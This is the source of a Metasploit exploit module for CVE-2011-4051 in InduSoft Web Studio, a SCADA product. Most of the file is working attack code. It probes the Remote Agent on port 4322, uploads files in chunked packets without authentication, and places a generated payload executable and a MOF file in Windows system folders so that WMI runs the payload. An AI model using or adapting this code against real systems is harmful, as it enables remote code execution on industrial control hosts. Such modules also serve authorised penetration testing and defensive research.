Path: blob/master/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE10include Msf::Exploit::WbemExec1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'InduSoft Web Studio Arbitrary Upload Remote Code Execution',17'Description' => %q{18This module exploits a lack of authentication and authorization on the InduSoft19Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to20the filesystem, by abusing the functions provided by the software.2122The module uses the Windows Management Instrumentation service to execute an23arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre24Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows25XP SP3 and Windows 2003 SP2.26},27'Author' => [28'Luigi Auriemma', # Vulnerability Discovery29'juan vazquez' # Metasploit module30],31'License' => MSF_LICENSE,32'References' => [33[ 'CVE', '2011-4051' ],34[ 'OSVDB', '77179' ],35[ 'BID', '50675' ],36[ 'ZDI', '11-330' ]37],38'Privileged' => true,39'Payload' => {40'BadChars' => "",41},42'Platform' => 'win',43'Targets' => [44[ 'Windows XP / 2003', {} ],45],46'DefaultTarget' => 0,47'DisclosureDate' => '2011-11-04',48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options([Opt::RPORT(4322)])57end5859def check60connect6162# Get Application version63data = [0x14].pack("C")64sock.put(data)65app_info = sock.get_once66disconnect6768if app_info =~ /InduSoft Web Studio v6\.1/69return Exploit::CheckCode::Appears70elsif app_info =~ /InduSoft Web Studio/71return Exploit::CheckCode::Detected72end7374return Exploit::CheckCode::Safe75end7677def upload_file(filename, my_payload)78connect7980# Get Application version81data = [0x14].pack("C")82sock.put(data)83app_info = sock.get_once84if app_info !~ /InduSoft Web Studio/85print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")86end8788# Get Operating System89data = [0x13].pack("C")90sock.put(data)91os_info = sock.get_once92if os_info !~ /WINXP/ and os_info !~ /WIN2K3/93print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")94end9596# Upload file9798data = "\x02\x37" # Command => Select destination99data << [my_payload.length].pack("V") # Data length100data << "#{filename}" # File name to upload101data << "\x09\x00\x30\x00\x00\x00"102data << "\x10\x03" # End of packet103104# The data must be split on 1024 length chunks105offset = 0 # Data to send106count = 1 # Number of chunks sent107groups = 0 # Data must be sent in groups of 50 chunks108109chunk = my_payload[offset, 1024]110111while not chunk.nil?112113# If there is a group of chunks, send it114if count % 51 == 0115116data << "\x02\x2c" # Command => Send group of chunks117my_count = [count].pack("V") # Number of chunks118data << my_count.gsub(/\x10/, "\x10\x10")119data << "\x10\x03" # End of packet120121sock.put(data)122res = sock.get_once123if res !~ /\x02\x06\x10\x03/124return res125end126127count = count + 1128groups = groups + 1129data = ""130131end132133pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data134my_count = [count].pack("V")135pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID136pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length137pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data138pkt << "\x10\x03" # End of packet139140data << pkt141offset = (count - groups) * 1024142chunk = my_payload[offset, 1024]143count = count + 1144end145146pkt = [ 0x02, 0x03].pack("C*") # Command => End of File147my_count = [count].pack("V")148pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID149pkt << rand_text_alpha(8) # LastWriteTime150pkt << rand_text_alpha(8) # LastAccessTime151pkt << rand_text_alpha(8) # CreationTime152pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)153pkt << rand_text_alpha(1)154pkt << "\x10\x03" # End of packet155data << pkt156157sock.put(data)158res = sock.get_once159disconnect160161return res162end163164def exploit165@peer = "#{rhost}:#{rport}"166167exe = generate_payload_exe168exe_name = rand_text_alpha(rand(10) + 5) + '.exe'169170mof_name = rand_text_alpha(rand(10) + 5) + '.mof'171mof = generate_mof(mof_name, exe_name)172173print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")174res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)175if res =~ /\x02\x06\x10\x03/176print_good "#{@peer} - The exe payload has been uploaded successfully"177else178print_error "#{@peer} - Error uploading the exe payload"179return180end181182print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")183res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)184if res =~ /\x02\x06\x10\x03/185print_good "#{@peer} - The mof file has been uploaded successfully"186else187print_error "#{@peer} - Error uploading the mof file"188return189end190end191end192193194